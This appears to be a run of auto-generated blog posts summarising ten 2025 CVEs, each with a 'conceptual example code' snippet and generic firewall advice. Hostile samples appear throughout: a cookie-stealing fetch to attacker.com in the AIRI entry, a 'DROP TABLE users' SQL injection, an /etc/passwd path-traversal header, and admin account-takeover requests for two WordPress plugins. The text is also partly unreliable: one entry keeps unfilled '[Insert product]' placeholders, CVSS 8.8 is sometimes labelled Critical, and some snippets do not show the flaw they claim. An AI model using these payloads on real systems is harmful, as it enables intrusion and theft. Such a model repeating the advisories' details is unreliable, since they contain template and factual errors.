Author: Ameeba

CVE-2025-10201: Bypassing Site Isolation in Google Chrome via Crafted HTML Page
Overview

In the ever-evolving landscape of cybersecurity, vulnerabilities are a constant concern for developers, administrators, and end-users alike. The vulnerability in focus, CVE-2025-10201, is a significant concern due to its high severity score and wide potential for exploitation. This weakness exists in Mojo, an inter-process communication system in Google Chrome, affecting Android, Linux, and ChromeOS versions prior to 140.0.7339.127. An attacker with the knowledge of this vulnerability could bypass site isolation, potentially leading to system compromise or data leakage. This post explores the technical details of this vulnerability, its impact, and the steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-10201
Severity: High, CVSS score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Google Chrome on Android | Prior to 140.0.7339.127
Google Chrome on Linux | Prior to 140.0.7339.127
Google Chrome on ChromeOS | Prior to 140.0.7339.127

How the Exploit Works

CVE-2025-10201 is a flaw in the Mojo IPC system in Google Chrome. An attacker can craft a malicious HTML page that, when loaded and interacted with by the user, can bypass Chrome’s site isolation feature. This feature is designed to separate processes between different tabs to prevent one site from accessing data from another. However, this vulnerability could allow an attacker to break this isolation, potentially leading to unauthorized access to data or control over the system.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. In this case, a malicious payload is embedded in an HTML page, which when loaded can trigger the vulnerability.
```
<!DOCTYPE html>
<html>
<body>
<script>
// Crafted malicious JavaScript code
var malicious_payload = "...";
// Exploit the vulnerability
exploit(malicious_payload);
</script>
</body>
</html>
```
Please note that this is a simplified example and actual exploitation could be more complex, requiring specific knowledge of the target system and the vulnerability.

Mitigation

To mitigate the risks associated with CVE-2025-10201, users should apply the vendor patch as soon as possible. Google has released an update for Chrome that addresses this vulnerability. Ensure that Chrome is updated to version 140.0.7339.127 or later on all affected systems.
In cases where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can potentially detect and block attempts to exploit this vulnerability. However, these are not long-term solutions and patching should be implemented as soon as feasible.
September 18, 2025
CVE-2025-10200: Critical Use-After-Free Vulnerability in Google Chrome’s Serviceworker
Overview

In this post, we will delve into a critical vulnerability that has been identified in Google Chrome on desktop platforms. The vulnerability, cataloged as CVE-2025-10200, is a Use-After-Free bug found in Chrome’s Serviceworker. Such vulnerabilities are marked as severe due to their potential for enabling remote attackers to exploit heap corruption via a crafted HTML page, leading to data leakage or even full system compromise.
As Google Chrome is one of the most widely used web browsers across the globe, this vulnerability affects an extensive number of users and systems, making it a critical concern for both individuals and businesses alike. It underlines the need for timely patching and the use of appropriate security measures.

Vulnerability Summary

CVE ID: CVE-2025-10200
Severity: Critical, CVSS score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Google Chrome | Prior to 140.0.7339.127

How the Exploit Works

This vulnerability arises from a Use-After-Free condition in the Serviceworker of Google Chrome. Use-After-Free refers to the attempt by a program to access memory after it has been freed, which can lead to a variety of undesirable outcomes including program crashes, incorrect computations, and even the execution of arbitrary code.
In this context, a remote attacker can create a specifically crafted HTML page that, when loaded and interacted with by a user, triggers this vulnerability. The exploit would manipulate the Serviceworker to access memory after it has been freed, leading to heap corruption, and potentially allowing the attacker to execute arbitrary code or cause system instability.

Conceptual Example Code

Below is a conceptual code snippet that represents how the vulnerability might be exploited. This is not an actual exploit code, but rather a simplified representation to illustrate the underlying concepts.
```
<!DOCTYPE html>
<html>
<body>
<script>
// Create a new ServiceWorker
navigator.serviceWorker.register('sw.js').then(function(reg) {
// Trigger the Use-After-Free vulnerability
reg.unregister().then(function() {
// Attempt to use the ServiceWorker after it's been unregistered
reg.sync.register('test');
});
});
</script>
</body>
</html>
```
In this example, the ServiceWorker is unregistered, and an attempt is then made to use it, triggering the Use-After-Free vulnerability. The actual exploit would be far more complex and tailored to induce heap corruption, potentially leading to arbitrary code execution or system instability.
September 18, 2025
CVE-2025-43888: Unauthorized Access and Potential Data Leakage in Dell PowerProtect Data Manager
Overview

In the world of cybersecurity, vulnerabilities are inevitable and their impacts are often detrimental. One such vulnerability is CVE-2025-43888, a weakness in Dell PowerProtect Data Manager versions 19.19 and 19.20. This vulnerability specifically affects the Hyper-V component of the software and it’s of significant concern because it allows an attacker with low privilege and local access to potentially exploit the system, leading to unauthorized access and data leakage.
Being a software that is widely used for data protection and management, this vulnerability puts countless businesses and individual users at risk, making it a significant cybersecurity issue that needs immediate attention and resolution.

Vulnerability Summary

CVE ID: CVE-2025-43888
Severity: High (8.8 CVSS Severity Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Unauthorized access and potential system compromise or data leakage

Affected Products

Product | Affected Versions

Dell PowerProtect Data Manager | 19.19
Dell PowerProtect Data Manager | 19.20

How the Exploit Works

The vulnerability works by inserting sensitive information into the log file. An attacker with low privileges and local access can exploit this vulnerability by accessing these log files and extracting the sensitive information. This information could potentially provide the attacker with unauthorized access to the system, leading to further exploitation such as system compromise or data leakage.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited could look like this:
```
# Attacker gains low level access and navigates to log directory
cd /path/to/logfiles
# Attacker views log files and extracts sensitive data
cat logfile.txt | grep "sensitive information"
```
This conceptual code example is not a real exploit code, but it provides an idea of how an attacker might access and extract sensitive information from the log files.
In conclusion, it’s crucial for users of Dell PowerProtect Data Manager versions 19.19 and 19.20 to address this vulnerability without delay. The recommended mitigation guidance is to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation.
September 18, 2025
CVE-2025-56413: OS Command Injection Vulnerability in 1panel 2.0.8
Overview

In the ever-evolving landscape of cybersecurity, a new vulnerability has surfaced that poses a significant threat to systems running the 1panel 2.0.8. This vulnerability, designated as CVE-2025-56413, is a serious OS command injection issue. Particularly vulnerable are those systems that frequently use the OperateSSH function and interact with the /api/v2/hosts/ssh/operate endpoint. The severity of this vulnerability lies in the fact that it allows attackers to execute arbitrary commands, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56413
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

1panel | 2.0.8

How the Exploit Works

CVE-2025-56413 exploits a vulnerability in the OperateSSH function in 1panel 2.0.8. This function does not properly sanitize user input to the operation parameter of the /api/v2/hosts/ssh/operate endpoint. As a result, a malicious actor could inject arbitrary OS commands into this parameter. When the function processes this input, it unknowingly executes these commands with the privileges of the 1panel process, potentially leading to unauthorized system access or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This HTTP request sends a malicious OS command (“malicious_command”) via the operation parameter to the vulnerable endpoint.
```
POST /api/v2/hosts/ssh/operate HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "operation": "malicious_command" }
```
Mitigation

While the vendor is expected to release a patch to fix this vulnerability, users are advised to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation. These tools can detect and prevent command injection attacks. Users should also regularly update their systems and ensure they follow safe coding practices to prevent similar vulnerabilities.
September 18, 2025
CVE-2025-56407: Critical SQL Injection Vulnerability in HuangDou UTCMS V9
Overview

A new critical vulnerability, CVE-2025-56407, has been identified in the HuangDou UTCMS V9 application, affecting the file app/modules/ut-data/admin/mysql.php. This flaw exposes systems utilizing this software to a potential SQL injection attack, a common yet potent threat in the realm of cybersecurity. Given its ability to be exploited remotely and the fact that the exploit has been publicly disclosed, this vulnerability poses a significant risk to users of the affected software, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56407
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

HuangDou UTCMS | V9

How the Exploit Works

The vulnerability exists in the RunSql function of the mysql.php file within HuangDou UTCMS V9. Specifically, the function does not sanitize the ‘sql’ argument properly, allowing an attacker to inject malicious SQL commands. These commands can manipulate, delete, or extract sensitive data from the underlying database, leading to the potential compromise of the system or data leakage.

Conceptual Example Code

An attacker exploiting this vulnerability might use a specially crafted HTTP POST request like the following:
```
POST /app/modules/ut-data/admin/mysql.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
sql=DROP TABLE users;
```
In this example, if the targeted system is vulnerable and fails to sanitize the ‘sql‘ parameter, the SQL command ‘DROP TABLE users;’ will be executed, leading to the deletion of the ‘users’ table from the database.

Mitigation

To mitigate this vulnerability, affected systems should apply the latest security patches provided by the vendor as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block SQL injection attacks can serve as a temporary mitigation strategy. Regular review and update of security policies, plus ongoing staff training on security awareness, are also crucial to decrease the vulnerability of systems to such attacks.
September 18, 2025
CVE-2025-7718: Privilege Escalation Vulnerability in the Resideo Plugin for WordPress
Overview

The CVE-2025-7718 vulnerability is a critical flaw found in the Resideo Plugin for Resideo – Real Estate WordPress Theme, a popular plugin for WordPress. This plugin enables the creation of a dynamic, user-friendly real estate website. However, all versions up to and including 2.5.4 suffer from a vulnerability that can lead to privilege escalation through user account takeover. This flaw is of significant concern as it can allow attackers to gain unauthorized access to user accounts, potentially leading to the compromise of the entire system or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-7718
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Resideo Plugin for Resideo – Real Estate WordPress Theme | Up to and including 2.5.4

How the Exploit Works

The vulnerability exists because the Resideo Plugin does not properly validate a user’s identity before updating their account details, such as their email address. An attacker with Subscriber-level access can exploit this flaw by changing the email address of any user, including administrators. The attacker can then initiate a password reset for the targeted account, which will be sent to the attacker-controlled email address. This allows the attacker to gain unauthorized access to the targeted account.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:
```
POST /wp-admin/user-edit.php?user_id=[target_user_id] HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_[hash]=[attacker_session]
email=[attacker_email]&pass1=[attacker_password]&pass2=[attacker_password]&action=update
```
In this example, the attacker sends a POST request to the user-edit.php endpoint on the WordPress admin panel. The attacker uses their own authenticated session cookie (wordpress_logged_in_[hash]) and specifies the user_id of the targeted user. The email, pass1, and pass2 parameters are set to the attacker’s desired values, allowing the attacker to take control of the targeted account.

Mitigation Guidance

Users of the affected Resideo plugin are strongly urged to apply the vendor’s patch once it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation, by blocking or alerting on suspicious activities related to the manipulation of user account details.
September 18, 2025
CVE-2025-59053: Critical XSS and Arbitrary Command Execution Vulnerability in AIRI
Overview

In this post, we delve into the details of a critical vulnerability (CVE-2025-59053) that affects AIRI, a self-hosted artificial intelligence-based Grok Companion. This vulnerability exposes systems to potential compromises and data leakage, warranting immediate attention. Given AIRI’s widespread use, this vulnerability could have far-reaching implications, especially in terms of cross-site scripting (XSS) and arbitrary command execution. As such, understanding this vulnerability and its mitigation is crucial for system administrators and cybersecurity professionals alike.

Vulnerability Summary

CVE ID: CVE-2025-59053
Severity: Critical (9.6 CVSS Severity Score)
Attack Vector: Web-based
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

AIRI | v0.7.2-beta.2

How the Exploit Works

The vulnerability exists in the Markdown content processing of AIRI. Specifically, the `useMarkdown` composable, which processes the Markdown content and the processed HTML, is rendered directly into the DOM using v-html. An attacker can exploit this weakness by creating a card file containing malicious HTML/JavaScript.
The exploit occurs when this malicious file is processed using the `highlightTagToHtml` function, which replaces template tags without HTML escaping. The processed content is then directly rendered using v-html, leading to an XSS attack.
What makes this vulnerability more dangerous is the exposed Tauri API, which can be called from the frontend. The MCP plugin further exposes a command execution interface function, allowing arbitrary command execution, thereby posing a severe threat to the system security.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:
```
const maliciousCard = `<!doctype html>
<html>
<body>
<script>
// Arbitrary JavaScript code
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
</body>
</html>`;
// The malicious card is then processed using highlightTagToHtml and rendered using v-html
highlightTagToHtml(maliciousCard);
```
This JavaScript code would send the user’s cookies to the attacker’s server, demonstrating one of many ways this vulnerability could be exploited. The attacker could also execute arbitrary system commands if they gain access to the MCP plugin’s command execution interface.

Mitigation

Users should update to v0.7.2-beta.3 as it fixes the issue. In instances where an immediate update is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can temporarily mitigate the threat by detecting and blocking malicious activity. However, this is only a temporary solution, and applying the vendor patch should be a priority.
September 18, 2025
CVE-2025-7049: Privilege Escalation Vulnerability in WPGYM – WordPress Gym Management System Plugin
Overview

In the cybersecurity landscape, vulnerabilities can lead to devastating breaches if not addressed promptly. One such vulnerability currently posing a threat to WordPress sites is CVE-2025-7049. This severe flaw is present in the WPGYM – WordPress Gym Management System Plugin, affecting all versions up to and including 67.7.0. It allows for a privilege escalation exploit that could enable an attacker to alter the details of any user, including system administrators. The implications of this can be far-reaching, leading to system compromise and potential data leakages.

Vulnerability Summary

CVE ID: CVE-2025-7049
Severity: High (8.8/10 on the CVSS scale)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WPGYM – WordPress Gym Management System | Up to and including 67.7.0

How the Exploit Works

The vulnerability stems from a lack of validation on a user-controlled key in the ‘MJ_gmgt_gmgt_add_user’ function of the WPGYM plugin. Attackers with mere subscriber-level access can exploit this flaw by manipulating this key, allowing them to change the email, password, and other details of any user, including those with administrator privileges.

Conceptual Example Code

The following pseudocode illustrates how an attacker might exploit this vulnerability:
```
POST /wp-admin/admin-ajax.php?action=MJ_gmgt_gmgt_add_user HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
user_id=<ADMIN_USER_ID>&email=<ATTACKER_EMAIL>&password=<ATTACKER_PASSWORD>&role=administrator
```
In this example, the attacker changes the email and password of an administrator-level user, potentially granting them full control over the victim’s WordPress site.

Mitigation and Recommendations

It is essential that users of the affected WPGYM – WordPress Gym Management System plugin promptly apply the vendor’s patch to fix this vulnerability. For temporary mitigation, users may employ Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS). However, these are not permanent solutions and can only offer limited protection. The most effective defense against this exploit is to update the plugin as soon as a patch is available.
September 18, 2025
CVE-2025-41714: Critical Vulnerability in Upload Endpoint causing Arbitrary File Write and Potential Remote Code Execution
Overview

The world of cybersecurity is in a constant state of flux, with new vulnerabilities being discovered and exploited on a regular basis. One such vulnerability that has been recently identified and added to the Common Vulnerabilities and Exposures (CVE) system is CVE-2025-41714. This severe security flaw lies in the upload endpoint of certain systems, where the ‘Upload-Key’ request header is not appropriately validated. This could potentially allow an authenticated attacker to manipulate the path traversal sequences and cause the server to create upload-related artifacts beyond the intended storage location.
The vulnerability is of critical importance as it may lead to arbitrary file write and in certain configurations, can be leveraged to achieve remote code execution, hence causing potential system compromise or data leakage. It is therefore essential for organizations and individuals to understand and mitigate this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-41714
Severity: Critical (CVSS Score: 8.8)
Attack Vector: Network
Privileges Required: User
User Interaction: Required
Impact: A successful exploit may lead to system compromise or data leakage, with potential for remote code execution

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

The root cause of the vulnerability is insufficient validation of the ‘Upload-Key’ request header in the upload endpoint. An authenticated attacker can exploit this flaw by supplying malicious path traversal sequences in the ‘Upload-Key’ header. This action can trick the server into creating upload-related artifacts outside the intended storage location. In certain vulnerable configurations, this can lead to arbitrary file write, allowing the attacker to modify or overwrite sensitive files. In a worst-case scenario, the attacker can leverage this flaw to execute remote code, potentially leading to a full system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:
```
POST /vulnerable/upload_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
Upload-Key: "../../../../etc/passwd"
{ "malicious_payload": "..." }
```
In this example, the attacker is attempting to overwrite the “/etc/passwd” file, which contains user password data on Unix-like systems, by manipulating the ‘Upload-Key’ header. The malicious payload would contain the data to be written to the file.
Please note that this is a conceptual example and the actual exploit would be dependent on the specific system, its configuration, and the attacker’s intent.
September 18, 2025
CVE-2025-10172: Critical Buffer Overflow Vulnerability in UTT 750W
Overview

The Cybersecurity community has recently been alerted to a critical vulnerability, tagged CVE-2025-10172, affecting the UTT 750W up to version 3.2.2-191225. This flaw lies in the processing of the file /goform/formPictureUrl and can lead to a buffer overflow scenario. It’s a severe issue as it grants a malicious actor the ability to execute an attack remotely, potentially leading to a system compromise or a data breach. Despite the vendor being informed in advance about this flaw, there has yet to be an official response, making it all the more essential to understand this vulnerability and take necessary precautions.

Vulnerability Summary

CVE ID: CVE-2025-10172
Severity: Critical (8.8 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

UTT 750W | Up to 3.2.2-191225

How the Exploit Works

The vulnerability lies in the unknown processing of the file /goform/formPictureUrl within the UTT 750W. By manipulating the argument ‘importpictureurl’, an attacker can trigger a buffer overflow condition. This overflow allows the attacker to execute arbitrary code on the system, potentially leading to complete system compromise or data leakage. Since the exploit can be executed remotely, it does not require any user interaction or elevated privileges.

Conceptual Example Code

Here’s a conceptual example of how an HTTP request exploiting this vulnerability might look:
```
POST /goform/formPictureUrl HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
importpictureurl=AAAAAAAAAA...[continues until buffer overflow is triggered]
```
In this example, the ‘importpictureurl’ argument is filled with an excessive amount of data (represented by ‘A’s), causing a buffer overflow condition.

Mitigation

Currently, the vendor has not released any patch to address this vulnerability. However, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help mitigate this vulnerability temporarily by detecting and blocking malicious requests that aim to exploit it. It’s advisable to monitor the vendor’s official communications for updates on a more permanent fix for this issue.
September 18, 2025